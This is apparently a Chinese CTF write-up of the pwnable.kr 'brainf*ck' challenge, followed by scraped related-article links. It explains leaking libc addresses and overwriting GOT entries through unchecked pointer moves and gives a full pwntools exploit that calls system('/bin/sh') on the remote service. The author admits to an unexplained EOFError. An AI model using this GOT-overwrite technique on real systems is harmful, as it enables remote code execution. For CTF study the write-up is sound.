pwnable.kr之brainf*ck
pwnable.kr之brainf*ck
今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获。
不多说了,今天看的是第二关的第一道题:brainf*ck。这道题实现了一个brainfuck解释器,从思路上来讲可以说是很秀了,核心思想是通过对指针的操作来改写got.plt表,从而劫持数据流。程序结构比较简单,我们先通过IDA看一下程序的结构。


brainf*ck这个函数里面,如果输入是一些特殊符号,会对p这个指针进行一个操作,p这个指针位于bss段。

这里看到不仅有一个p指针,还有一个tape指针,tape这个指针我们通过静态分析没办法直观的知道他的作用,这时候用gdb动态调试一下,在brainfuck函数的break处下一个断点,然后只输入一下特定的几个字符,只观察bss段的内容,就可以清晰地看出:p指针处存放的是tape的地址,tape处存放的是值。brainfuck里面,">","<"是对p指针进行操作,“+”,“-”是对指针指向的地址上的值进行操作。
到这里我没有思路,卡住了。
这里我觉得这道题的精华来了:可输入空间很大,但是got.plt表和bss段之间的距离很小,同时,它让我们可以对指针进行操作,但是没有规定操作的范围。所以,可以通过do_brainfunck函数来修改got.plt表的内容。

覆写got表那里,应该是这样的操作:,>
写入一个值,然后指针移动一个字节,写入下一个字节
泄露地址的时候,应该是这样的操作:.>
输出一个值,然后指针移动一个字节,输出下一个字节
程序在进入do_brainfuck函数之前,调用过puts函数的地址,所以got.plt表中有puts函数的实际地址
from pwn import * context.log_level='debug'
DEBUG=1
if DEBUG:
io=process('./bf')
else:
io=remote('pwnable.kr',9001) elf=ELF('./bf')
libc=ELF('./bf_libc.so') tape_addr=0x0804A0A0
fgets_addr=0x08048450
main_addr=0x08048671
strlen_addr=0x0804A020
putchar_addr=0x0804A030
memset_addr=0x0804A02C gets_sym=libc.sym['gets']
system_sym=libc.sym['system']
puts_sym=libc.sym['puts'] payload=''
payload+='<'*(tape_addr-putchar_addr)
payload+='.'
payload+='.>.>.>.>'
payload+='<<<<'+',>,>,>,>'
payload+='<<<<'*4+',>,>,>,>'+'<<<<'
payload+='<'*(strlen_addr-fgets_addr)+',>,>,>,>'
payload+='<'*(putchar_addr-fgets_addr+4)
payload+='.' io.recv()
io.send(payload)
io.recv(1)
putchar_addr=u32(io.recv(4))
offset1=system_sym-putchar_addr
offset2=gets_sym-putchar_addr
system_addr=putchar_addr+offset1
gets_addr=putchar_addr+offset2
io.send(p32(main_addr))
io.send(p32(gets_addr))
io.send(p32(system_addr)) io.sendline('/bin/sh\x00')
io.interactive()
发送地址的时候有EOFError的问题,还没有想明白,根据别人的wp复现了。
先放在这里,看看有哪位路过的师傅能不能帮我解答,或者以后我想明白了再改吧。
pwnable.kr之brainf*ck的更多相关文章
- pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...
- 【pwnable.kr】 brainfuck
pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr第二天
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...
随机推荐
- 01-ubuntu18.04安装docker脚本[含自动配置apt]
01-ubuntu18.04安装docker脚本[含自动配置apt] 脚本一键安装docker,并配置阿里云的docker镜像加速. #!/bin/bash #更新apt源为清华源 echo &quo ...
- 第三方API对接如何设计接口认证?
一.前言 在与第三方系统做接口对接时,往往需要考虑接口的安全性问题,本文主要分享几个常见的系统之间做接口对接时的认证方案. 二.认证方案 例如订单下单后通过 延时任务 对接 物流系统 这种 异步 的场 ...
- Keyboarding(信息学奥赛一本通-T1452)
[题目描述] 出自 World Final 2015 F. Keyboarding 给定一个 r 行 c 列的在电视上的"虚拟键盘",通过「上,下,左,右,选择」共 5 个控制键, ...
- KDE桌面环境下konsole,kate等软件无法切换中文输入法
解决方案(arch): 修改/etc/profile,增加以下语句: #fcitxexport XIM_PROGRAM=fcitxexport XIM=fcitxexport GTK_IM_MODUL ...
- POJ 3761:Bubble Sort——组合数学
题目大意:众所周知冒泡排序算法多数情况下不能只扫描一遍就结束排序,而是要扫描好几遍.现在你的任务是求1~N的排列中,需要扫描K遍才能排好序的数列的个数模20100713.注意,不同于真正的冒泡排序算法 ...
- Linux 动态库 undefined symbol 原因定位与解决方法
在使用动态库开发部署时,遇到最多的问题可能就是 undefined symbol 了,导致这个出现这个问题的原因有多种多样,快速找到原因,采用对应的方法解决是本文写作的目的. 可能的原因 依赖库未找到 ...
- 资源:VMware秘钥许可证
一. 激活密钥 YG5H2-ANZ0H-M8ERY-TXZZZ-YKRV8 UG5J2-0ME12-M89WY-NPWXX-WQH88 UA5DR-2ZD4H-089FY-6YQ5T-YPRX6 GA ...
- docker进入容器所在虚拟机的指令
sudo docker inspect -f {{.State.Pid}} 44fc0f0582d9 在拿到该进程PID之后我们就可以使用nsenter命令访问该容器了. $ sudo nsenter ...
- buu crypto 变异凯撒
一.由题目就可知是凯撒加密,但是是变异,说明有改动,但是凯撒的本质移位是不变的,将密文afZ_r9VYfScOeO_UL^RWUc,和flag进行比较,字符表查一下,发现 a:97 f:102 f:1 ...
- 计算机网络体系结构整理-第九单元移动IP
第九章 移动IP 什么是移动:移动指的是用户连接位置的改变,而不是设备物理位置的改变 移动可以是离散的或连续的 移动IP的基本要求:1.IP地址不变 2.宿地址路由 3.信息量和交互简化 4.安全 5 ...